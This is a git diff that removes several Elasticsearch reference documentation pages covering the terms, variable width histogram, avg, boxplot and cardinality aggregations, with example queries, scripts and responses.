-[[search-aggregations-bucket-terms-aggregation-script]]
-==== Script
-
-Generating the terms using a script:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "terms": {
-        "script": {
-          "source": "doc['genre'].value",
-          "lang": "painless"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-This will interpret the `script` parameter as an `inline` script with the default script language and no script parameters. To use a stored script use the following syntax:
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /_scripts/my_script
-{
-  "script": {
-    "lang": "painless",
-    "source": "doc[params.field].value"
-  }
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "terms": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "genre"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-==== Value Script
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "terms": {
-        "field": "genre",
-        "script": {
-          "source": "'Genre: ' +_value",
-          "lang": "painless"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-==== Filtering Values
-
-It is possible to filter the values for which buckets will be created. This can be done using the `include` and
-`exclude` parameters which are based on regular expression strings or arrays of exact values. Additionally,
-`include` clauses can filter using `partition` expressions.
-
-===== Filtering Values with regular expressions
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "tags": {
-      "terms": {
-        "field": "tags",
-        "include": ".*sport.*",
-        "exclude": "water_.*"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-In the above example, buckets will be created for all the tags that has the word `sport` in them, except those starting
-with `water_` (so the tag `water_sports` will not be aggregated). The `include` regular expression will determine what
-values are "allowed" to be aggregated, while the `exclude` determines the values that should not be aggregated. When
-both are defined, the `exclude` has precedence, meaning, the `include` is evaluated first and only then the `exclude`.
-
-The syntax is the same as <<regexp-syntax,regexp queries>>.
-
-===== Filtering Values with exact values
-
-For matching based on exact values the `include` and `exclude` parameters can simply take an array of
-strings that represent the terms as they are found in the index:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "JapaneseCars": {
-      "terms": {
-        "field": "make",
-        "include": [ "mazda", "honda" ]
-      }
-    },
-    "ActiveCarManufacturers": {
-      "terms": {
-        "field": "make",
-        "exclude": [ "rover", "jensen" ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-===== Filtering Values with partitions
-
-Sometimes there are too many unique terms to process in a single request/response pair so
-it can be useful to break the analysis up into multiple requests.
-This can be achieved by grouping the field's values into a number of partitions at query-time and processing
-only one partition in each request.
-Consider this request which is looking for accounts that have not logged any access recently:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-   "size": 0,
-   "aggs": {
-      "expired_sessions": {
-         "terms": {
-            "field": "account_id",
-            "include": {
-               "partition": 0,
-               "num_partitions": 20
-            },
-            "size": 10000,
-            "order": {
-               "last_access": "asc"
-            }
-         },
-         "aggs": {
-            "last_access": {
-               "max": {
-                  "field": "access_date"
-               }
-            }
-         }
-      }
-   }
-}
---------------------------------------------------
-
-This request is finding the last logged access date for a subset of customer accounts because we
-might want to expire some customer accounts who haven't been seen for a long while.
-The `num_partitions` setting has requested that the unique account_ids are organized evenly into twenty
-partitions (0 to 19). and the `partition` setting in this request filters to only consider account_ids falling
-into partition 0. Subsequent requests should ask for partitions 1 then 2 etc to complete the expired-account analysis.
-
-Note that the `size` setting for the number of results returned needs to be tuned with the `num_partitions`.
-For this particular account-expiration example the process for balancing values for `size` and `num_partitions` would be as follows:
-
-1. Use the `cardinality` aggregation to estimate the total number of unique account_id values
-2. Pick a value for `num_partitions` to break the number from 1) up into more manageable chunks
-3. Pick a `size` value for the number of responses we want from each partition
-4. Run a test request
-
-If we have a circuit-breaker error we are trying to do too much in one request and must increase `num_partitions`.
-If the request was successful but the last account ID in the date-sorted test response was still an account we might want to
-expire then we may be missing accounts of interest and have set our numbers too low. We must either
-
-* increase the `size` parameter to return more results per partition (could be heavy on memory) or
-* increase the `num_partitions` to consider less accounts per request (could increase overall processing time as we need to make more requests)
-
-Ultimately this is a balancing act between managing the Elasticsearch resources required to process a single request and the volume
-of requests that the client application must issue to complete a task.
-
-==== Multi-field terms aggregation
-
-The `terms` aggregation does not support collecting terms from multiple fields
-in the same document.  The reason is that the `terms` agg doesn't collect the
-string term values themselves, but rather uses
-<<search-aggregations-bucket-terms-aggregation-execution-hint,global ordinals>>
-to produce a list of all of the unique values in the field.  Global ordinals
-results in an important performance boost which would not be possible across
-multiple fields.
-
-There are two approaches that you can use to perform a `terms` agg across
-multiple fields:
-
-<<search-aggregations-bucket-terms-aggregation-script,Script>>::
-
-Use a script to retrieve terms from multiple fields.  This disables the global
-ordinals optimization and will be slower than collecting terms from a single
-field, but it gives you the flexibility to implement this option at search
-time.
-
-<<copy-to,`copy_to` field>>::
-
-If you know ahead of time that you want to collect the terms from two or more
-fields, then use `copy_to` in your mapping to create a new dedicated field at
-index time which contains the values from both fields.  You can aggregate on
-this single field, which will benefit from the global ordinals optimization.
-
-[[search-aggregations-bucket-terms-aggregation-collect]]
-==== Collect mode
-
-Deferring calculation of child aggregations
-
-For fields with many unique terms and a small number of required results it can be more efficient to delay the calculation
-of child aggregations until the top parent-level aggs have been pruned. Ordinarily, all branches of the aggregation tree
-are expanded in one depth-first pass and only then any pruning occurs.
-In some scenarios this can be very wasteful and can hit memory constraints.
-An example problem scenario is querying a movie database for the 10 most popular actors and their 5 most common co-stars:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "actors": {
-      "terms": {
-        "field": "actors",
-        "size": 10
-      },
-      "aggs": {
-        "costars": {
-          "terms": {
-            "field": "actors",
-            "size": 5
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Even though the number of actors may be comparatively small and we want only 50 result buckets there is a combinatorial explosion of buckets
-during calculation - a single actor can produce n² buckets where n is the number of actors. The sane option would be to first determine
-the 10 most popular actors and only then examine the top co-stars for these 10 actors. This alternative strategy is what we call the `breadth_first` collection
-mode as opposed to the `depth_first` mode.
-
-NOTE: The `breadth_first` is the default mode for fields with a cardinality bigger than the requested size or when the cardinality is unknown (numeric fields or scripts for instance).
-It is possible to override the default heuristic and to provide a collect mode directly in the request:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "actors": {
-      "terms": {
-        "field": "actors",
-        "size": 10,
-        "collect_mode": "breadth_first" <1>
-      },
-      "aggs": {
-        "costars": {
-          "terms": {
-            "field": "actors",
-            "size": 5
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> the possible values are `breadth_first` and `depth_first`
-
-When using `breadth_first` mode the set of documents that fall into the uppermost buckets are
-cached for subsequent replay so there is a memory overhead in doing this which is linear with the number of matching documents.
-Note that the `order` parameter can still be used to refer to data from a child aggregation when using the `breadth_first` setting - the parent
-aggregation understands that this child aggregation will need to be called first before any of the other child aggregations.
-
-WARNING: Nested aggregations such as `top_hits` which require access to score information under an aggregation that uses the `breadth_first`
-collection mode need to replay the query on the second pass but only for the documents belonging to the top buckets.
-
-[[search-aggregations-bucket-terms-aggregation-execution-hint]]
-==== Execution hint
-
-There are different mechanisms by which terms aggregations can be executed:
-
- - by using field values directly in order to aggregate data per-bucket (`map`)
- - by using global ordinals of the field and allocating one bucket per global ordinal (`global_ordinals`)
-
-Elasticsearch tries to have sensible defaults so this is something that generally doesn't need to be configured.
-
-`global_ordinals` is the default option for `keyword` field, it uses global ordinals to allocates buckets dynamically
-so memory usage is linear to the number of values of the documents that are part of the aggregation scope.
-
-`map` should only be considered when very few documents match a query. Otherwise the ordinals-based execution mode
-is significantly faster. By default, `map` is only used when running an aggregation on scripts, since they don't have
-ordinals.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "tags": {
-      "terms": {
-        "field": "tags",
-        "execution_hint": "map" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The possible values are `map`, `global_ordinals`
-
-Please note that Elasticsearch will ignore this execution hint if it is not applicable and that there is no backward compatibility guarantee on these hints.
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "tags": {
-      "terms": {
-        "field": "tags",
-        "missing": "N/A" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Documents without a value in the `tags` field will fall into the same bucket as documents that have the value `N/A`.
-
-==== Mixing field types
-
-WARNING: When aggregating on multiple indices the type of the aggregated field may not be the same in all indices.
-Some types are compatible with each other (`integer` and `long` or `float` and `double`) but when the types are a mix
-of decimal and non-decimal number the terms aggregation will promote the non-decimal numbers to decimal numbers.
-This can result in a loss of precision in the bucket values.
diff --git a/docs/reference/aggregations/bucket/variablewidthhistogram-aggregation.asciidoc b/docs/reference/aggregations/bucket/variablewidthhistogram-aggregation.asciidoc
deleted file mode 100644
index 1109a505b27..00000000000
--- a/docs/reference/aggregations/bucket/variablewidthhistogram-aggregation.asciidoc
+++ /dev/null
@@ -1,98 +0,0 @@
-[[search-aggregations-bucket-variablewidthhistogram-aggregation]]
-=== Variable width histogram aggregation
-++++
-<titleabbrev>Variable width histogram</titleabbrev>
-++++
-
-experimental::["This functionality is experimental and may be changed or removed completely in a future release. Elastic will take a best effort approach to fix any issues, but experimental features are not subject to the support SLA of official GA features. We're evaluating the request and response format for this new aggregation.",https://github.com/elastic/elasticsearch/issues/58573]
-
-This is a multi-bucket aggregation similar to <<search-aggregations-bucket-histogram-aggregation>>.
-However, the width of each bucket is not specified. Rather, a target number of buckets is provided and bucket intervals
-are dynamically determined based on the document distribution. This is done using a simple one-pass document clustering algorithm
-that aims to obtain low distances between bucket centroids. Unlike other multi-bucket aggregations, the intervals will not
-necessarily have a uniform width.
-
-TIP: The number of buckets returned will always be less than or equal to the target number.
-
-Requesting a target of 2 buckets.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "prices": {
-      "variable_width_histogram": {
-        "field": "price",
-        "buckets": 2
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "prices": {
-      "buckets": [
-        {
-          "min": 10.0,
-          "key": 30.0,
-          "max": 50.0,
-          "doc_count": 2
-        },
-        {
-          "min": 150.0,
-          "key": 185.0,
-          "max": 200.0,
-          "doc_count": 5
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-IMPORTANT: This aggregation cannot currently be nested under any aggregation that collects from more than a single bucket.
-
-==== Clustering Algorithm
-Each shard fetches the first `initial_buffer` documents and stores them in memory. Once the buffer is full, these documents
-are sorted and linearly separated into `3/4 * shard_size buckets`.
-Next each remaining documents is either collected into the nearest bucket, or placed into a new bucket if it is distant
-from all the existing ones. At most `shard_size` total buckets are created.
-
-In the reduce step, the coordinating node sorts the buckets from all shards by their centroids. Then, the two buckets
-with the nearest centroids are repeatedly merged until the target number of buckets is achieved.
-This merging procedure is a form of {wikipedia}/Hierarchical_clustering[agglomerative hierarchical clustering].
-
-TIP: A shard can return fewer than `shard_size` buckets, but it cannot return more.
-
-==== Shard size
-The `shard_size` parameter specifies the number of buckets that the coordinating node will request from each shard.
-A higher `shard_size` leads each shard to produce smaller buckets. This reduce the likelihood of buckets overlapping
-after the reduction step. Increasing the `shard_size` will improve the accuracy of the histogram, but it will
-also make it more expensive to compute the final result because bigger priority queues will have to be managed on a
-shard level, and the data transfers between the nodes and the client will be larger.
-
-TIP: Parameters `buckets`, `shard_size`, and `initial_buffer` are optional. By default, `buckets = 10`, `shard_size = buckets * 50`, and `initial_buffer = min(10 * shard_size, 50000)`.
-
-==== Initial Buffer
-The `initial_buffer` parameter can be used to specify the number of individual documents that will be stored in memory
-on a shard before the initial bucketing algorithm is run. Bucket distribution is determined using this sample
-of `initial_buffer` documents. So, although a higher `initial_buffer` will use more memory, it will lead to more representative
-clusters.
-
-==== Bucket bounds are approximate
-During the reduce step, the master node continuously merges the two buckets with the nearest centroids. If two buckets have
-overlapping bounds but distant centroids, then it is possible that they will not be merged. Because of this, after
-reduction the maximum value in some interval (`max`) might be greater than the minimum value in the subsequent
-bucket (`min`). To reduce the impact of this error, when such an overlap occurs the bound between these intervals is adjusted to be `(max + min) / 2`.
-
-TIP: Bucket bounds are very sensitive to outliers
diff --git a/docs/reference/aggregations/metrics.asciidoc b/docs/reference/aggregations/metrics.asciidoc
deleted file mode 100644
index e9680f8fc5b..00000000000
--- a/docs/reference/aggregations/metrics.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[[search-aggregations-metrics]]
-== Metrics aggregations
-
-The aggregations in this family compute metrics based on values extracted in one way or another from the documents that
-are being aggregated. The values are typically extracted from the fields of the document (using the field data), but
-can also be generated using scripts.
-
-Numeric metrics aggregations are a special type of metrics aggregation which output numeric values. Some aggregations output
-a single numeric metric (e.g. `avg`) and are called `single-value numeric metrics aggregation`, others generate multiple
-metrics (e.g. `stats`) and are called `multi-value numeric metrics aggregation`. The distinction between single-value and
-multi-value numeric metrics aggregations plays a role when these aggregations serve as direct sub-aggregations of some
-bucket aggregations (some bucket aggregations enable you to sort the returned buckets based on the numeric metrics in each bucket).
-
-include::metrics/avg-aggregation.asciidoc[]
-
-include::metrics/boxplot-aggregation.asciidoc[]
-
-include::metrics/cardinality-aggregation.asciidoc[]
-
-include::metrics/extendedstats-aggregation.asciidoc[]
-
-include::metrics/geobounds-aggregation.asciidoc[]
-
-include::metrics/geocentroid-aggregation.asciidoc[]
-
-include::metrics/matrix-stats-aggregation.asciidoc[]
-
-include::metrics/max-aggregation.asciidoc[]
-
-include::metrics/median-absolute-deviation-aggregation.asciidoc[]
-
-include::metrics/min-aggregation.asciidoc[]
-
-include::metrics/percentile-rank-aggregation.asciidoc[]
-
-include::metrics/percentile-aggregation.asciidoc[]
-
-include::metrics/rate-aggregation.asciidoc[]
-
-include::metrics/scripted-metric-aggregation.asciidoc[]
-
-include::metrics/stats-aggregation.asciidoc[]
-
-include::metrics/string-stats-aggregation.asciidoc[]
-
-include::metrics/sum-aggregation.asciidoc[]
-
-include::metrics/t-test-aggregation.asciidoc[]
-
-include::metrics/tophits-aggregation.asciidoc[]
-
-include::metrics/top-metrics-aggregation.asciidoc[]
-
-include::metrics/valuecount-aggregation.asciidoc[]
-
-include::metrics/weighted-avg-aggregation.asciidoc[]
diff --git a/docs/reference/aggregations/metrics/avg-aggregation.asciidoc b/docs/reference/aggregations/metrics/avg-aggregation.asciidoc
deleted file mode 100644
index 29178c6d388..00000000000
--- a/docs/reference/aggregations/metrics/avg-aggregation.asciidoc
+++ /dev/null
@@ -1,185 +0,0 @@
-[[search-aggregations-metrics-avg-aggregation]]
-=== Avg aggregation
-++++
-<titleabbrev>Avg</titleabbrev>
-++++
-
-A `single-value` metrics aggregation that computes the average of numeric values that are extracted from the aggregated documents. These values can be extracted either from specific numeric fields in the documents, or be generated by a provided script.
-
-Assuming the data consists of documents representing exams grades (between 0
-and 100) of students we can average their scores with:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "avg_grade": { "avg": { "field": "grade" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-The above aggregation computes the average grade over all documents. The aggregation type is `avg` and the `field` setting defines the numeric field of the documents the average will be computed on. The above will return the following:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "avg_grade": {
-      "value": 75.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The name of the aggregation (`avg_grade` above) also serves as the key by which the aggregation result can be retrieved from the returned response.
-
-==== Script
-
-Computing the average grade based on a script:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "avg_grade": {
-      "avg": {
-        "script": {
-          "source": "doc.grade.value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "avg_grade": {
-      "avg": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "grade"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams,stored_example_script]
-
-===== Value Script
-
-It turned out that the exam was way above the level of the students and a grade correction needs to be applied. We can use value script to get the new average:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "avg_corrected_grade": {
-      "avg": {
-        "field": "grade",
-        "script": {
-          "lang": "painless",
-          "source": "_value * params.correction",
-          "params": {
-            "correction": 1.2
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "grade_avg": {
-      "avg": {
-        "field": "grade",
-        "missing": 10     <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-<1> Documents without a value in the `grade` field will fall into the same bucket as documents that have the value `10`.
-
-
-[[search-aggregations-metrics-avg-aggregation-histogram-fields]]
-==== Histogram fields
-When average is computed on <<histogram,histogram fields>>, the result of the aggregation is the weighted average
-of all elements in the `values` array taking into consideration the number in the same position in the `counts` array.
-
-For example, for the following index that stores pre-aggregated histograms with latency metrics for different networks:
-
-[source,console]
---------------------------------------------------
-PUT metrics_index/_doc/1
-{
-  "network.name" : "net-1",
-  "latency_histo" : {
-      "values" : [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [3, 7, 23, 12, 6] <2>
-   }
-}
-
-PUT metrics_index/_doc/2
-{
-  "network.name" : "net-2",
-  "latency_histo" : {
-      "values" :  [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [8, 17, 8, 7, 6] <2>
-   }
-}
-
-POST /metrics_index/_search?size=0
-{
-  "aggs": {
-    "avg_latency": 
-      { "avg": { "field": "latency_histo" } 
-    }
-  }
-}
---------------------------------------------------
-
-For each histogram field the `avg` aggregation adds each number in the `values` array <1> multiplied by its associated count
-in the `counts` array <2>. Eventually, it will compute the average over those values for all histograms and return the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "avg_latency": {
-      "value": 0.29690721649
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:test not setup]
diff --git a/docs/reference/aggregations/metrics/boxplot-aggregation.asciidoc b/docs/reference/aggregations/metrics/boxplot-aggregation.asciidoc
deleted file mode 100644
index 4d0c48d3527..00000000000
--- a/docs/reference/aggregations/metrics/boxplot-aggregation.asciidoc
+++ /dev/null
@@ -1,189 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-metrics-boxplot-aggregation]]
-=== Boxplot aggregation
-++++
-<titleabbrev>Boxplot</titleabbrev>
-++++
-
-A `boxplot` metrics aggregation that computes boxplot of numeric values extracted from the aggregated documents.
-These values can be generated by a provided script or extracted from specific numeric or
-<<histogram,histogram fields>> in the documents.
-
-The `boxplot` aggregation returns essential information for making a {wikipedia}/Box_plot[box plot]: minimum, maximum
-median, first quartile (25th percentile)  and third quartile (75th percentile) values.
-
-==== Syntax
-
-A `boxplot` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "boxplot": {
-    "field": "load_time"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Let's look at a boxplot representing load time:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_boxplot": {
-      "boxplot": {
-        "field": "load_time" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-<1> The field `load_time` must be a numeric field
-
-The response will look like this:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
- "aggregations": {
-    "load_time_boxplot": {
-      "min": 0.0,
-      "max": 990.0,
-      "q1": 165.0,
-      "q2": 445.0,
-      "q3": 725.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-==== Script
-
-The boxplot metric supports scripting.  For example, if our load times
-are in milliseconds but we want values calculated in seconds, we could use
-a script to convert them on-the-fly:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_boxplot": {
-      "boxplot": {
-        "script": {
-          "lang": "painless",
-          "source": "doc['load_time'].value / params.timeUnit", <1>
-          "params": {
-            "timeUnit": 1000                                    <2>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> The `field` parameter is replaced with a `script` parameter, which uses the
-script to generate values which percentiles are calculated on
-<2> Scripting supports parameterized input just like any other script
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a
-stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_boxplot": {
-      "boxplot": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "load_time"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency,stored_example_script]
-
-[[search-aggregations-metrics-boxplot-aggregation-approximation]]
-==== Boxplot values are (usually) approximate
-
-The algorithm used by the `boxplot` metric is called TDigest (introduced by
-Ted Dunning in
-https://github.com/tdunning/t-digest/blob/master/docs/t-digest-paper/histo.pdf[Computing Accurate Quantiles using T-Digests]).
-
-[WARNING]
-====
-Boxplot as other percentile aggregations are also
-{wikipedia}/Nondeterministic_algorithm[non-deterministic].
-This means you can get slightly different results using the same data.
-====
-
-[[search-aggregations-metrics-boxplot-aggregation-compression]]
-==== Compression
-
-Approximate algorithms must balance memory utilization with estimation accuracy.
-This balance can be controlled using a `compression` parameter:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_boxplot": {
-      "boxplot": {
-        "field": "load_time",
-        "compression": 200    <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> Compression controls memory usage and approximation error
-
-include::percentile-aggregation.asciidoc[tags=t-digest]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "grade_boxplot": {
-      "boxplot": {
-        "field": "grade",
-        "missing": 10     <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> Documents without a value in the `grade` field will fall into the same bucket as documents that have the value `10`.
diff --git a/docs/reference/aggregations/metrics/cardinality-aggregation.asciidoc b/docs/reference/aggregations/metrics/cardinality-aggregation.asciidoc
deleted file mode 100644
index 409af6cc7df..00000000000
--- a/docs/reference/aggregations/metrics/cardinality-aggregation.asciidoc
+++ /dev/null
@@ -1,249 +0,0 @@
-[[search-aggregations-metrics-cardinality-aggregation]]
-=== Cardinality aggregation
-++++
-<titleabbrev>Cardinality</titleabbrev>
-++++
-
-A `single-value` metrics aggregation that calculates an approximate count of
-distinct values. Values can be extracted either from specific fields in the
-document or generated by a script.
-
-Assume you are indexing store sales and would like to count the unique number of sold products that match a query:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "type_count": {
-      "cardinality": {
-        "field": "type"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "type_count": {
-      "value": 3
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-==== Precision control
-
-This aggregation also supports the `precision_threshold` option:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "type_count": {
-      "cardinality": {
-        "field": "type",
-        "precision_threshold": 100 <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> The `precision_threshold` options allows to trade memory for accuracy, and
-defines a unique count below which counts are expected to be close to
-accurate. Above this value, counts might become a bit more fuzzy. The maximum
-supported value is 40000, thresholds above this number will have the same
-effect as a threshold of 40000. The default value is +3000+.
-
-==== Counts are approximate
-
-Computing exact counts requires loading values into a hash set and returning its
-size. This doesn't scale when working on high-cardinality sets and/or large
-values as the required memory usage and the need to communicate those
-per-shard sets between nodes would utilize too many resources of the cluster.
-
-This `cardinality` aggregation is based on the
-https://static.googleusercontent.com/media/research.google.com/fr//pubs/archive/40671.pdf[HyperLogLog++]
-algorithm, which counts based on the hashes of the values with some interesting
-properties:
-
- * configurable precision, which decides on how to trade memory for accuracy,
- * excellent accuracy on low-cardinality sets,
- * fixed memory usage: no matter if there are tens or billions of unique values,
-   memory usage only depends on the configured precision.
-
-For a precision threshold of `c`, the implementation that we are using requires
-about `c * 8` bytes.
-
-The following chart shows how the error varies before and after the threshold:
-
-////
-To generate this chart use this gnuplot script:
-[source,gnuplot]
--------
-#!/usr/bin/gnuplot
-reset
-set terminal png size 1000,400
-
-set xlabel "Actual cardinality"
-set logscale x
-
-set ylabel "Relative error (%)"
-set yrange [0:8]
-
-set title "Cardinality error"
-set grid
-
-set style data lines
-
-plot "test.dat" using 1:2 title "threshold=100", \
-"" using 1:3 title "threshold=1000", \
-"" using 1:4 title "threshold=10000"
-#
--------
-
-and generate data in a 'test.dat' file using the below Java code:
-
-[source,java]
--------
-private static double error(HyperLogLogPlusPlus h, long expected) {
-    double actual = h.cardinality(0);
-    return Math.abs(expected - actual) / expected;
-}
-
-public static void main(String[] args) {
-    HyperLogLogPlusPlus h100 = new HyperLogLogPlusPlus(precisionFromThreshold(100), BigArrays.NON_RECYCLING_INSTANCE, 1);
-    HyperLogLogPlusPlus h1000 = new HyperLogLogPlusPlus(precisionFromThreshold(1000), BigArrays.NON_RECYCLING_INSTANCE, 1);
-    HyperLogLogPlusPlus h10000 = new HyperLogLogPlusPlus(precisionFromThreshold(10000), BigArrays.NON_RECYCLING_INSTANCE, 1);
-
-    int next = 100;
-    int step = 10;
-
-    for (int i = 1; i <= 10000000; ++i) {
-        long h = BitMixer.mix64(i);
-        h100.collect(0, h);
-        h1000.collect(0, h);
-        h10000.collect(0, h);
-
-        if (i == next) {
-            System.out.println(i + " " + error(h100, i)*100 + " " + error(h1000, i)*100 + " " + error(h10000, i)*100);
-            next += step;
-            if (next >= 100 * step) {
-                step *= 10;
-            }
-        }
-    }
-}
--------
-
-////
-
-image:images/cardinality_error.png[]
-
-For all 3 thresholds, counts have been accurate up to the configured threshold.
-Although not guaranteed, this is likely to be the case.  Accuracy in practice depends
-on the dataset in question.  In general, most datasets show consistently good
-accuracy. Also note that even with a threshold as low as 100, the error
-remains very low (1-6% as seen in the above graph) even when counting millions of items.
-
-The HyperLogLog++ algorithm depends on the leading zeros of hashed
-values, the exact distributions of hashes in a dataset can affect the 
-accuracy of the cardinality.  
-
-Please also note that even with a threshold as low as 100, the error remains
-very low, even when counting millions of items.
-
-==== Pre-computed hashes
-
-On string fields that have a high cardinality, it might be faster to store the
-hash of your field values in your index and then run the cardinality aggregation
-on this field. This can either be done by providing hash values from client-side
-or by letting Elasticsearch compute hash values for you by using the
-{plugins}/mapper-murmur3.html[`mapper-murmur3`] plugin.
-
-NOTE: Pre-computing hashes is usually only useful on very large and/or
-high-cardinality fields as it saves CPU and memory. However, on numeric
-fields, hashing is very fast and storing the original values requires as much
-or less memory than storing the hashes. This is also true on low-cardinality
-string fields, especially given that those have an optimization in order to
-make sure that hashes are computed at most once per unique value per segment.
-
-==== Script
-
-The `cardinality` metric supports scripting, with a noticeable performance hit
-however since hashes need to be computed on the fly.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "type_promoted_count": {
-      "cardinality": {
-        "script": {
-          "lang": "painless",
-          "source": "doc['type'].value + ' ' + doc['promoted'].value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "type_promoted_count": {
-      "cardinality": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "type_field": "type",
-            "promoted_field": "promoted"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:no script]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "tag_cardinality": {
-      "cardinality": {
-        "field": "tag",
-        "missing": "N/A" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-<1> Documents without a value in the `tag` field will fall into the same bucket as documents that have the value `N/A`.
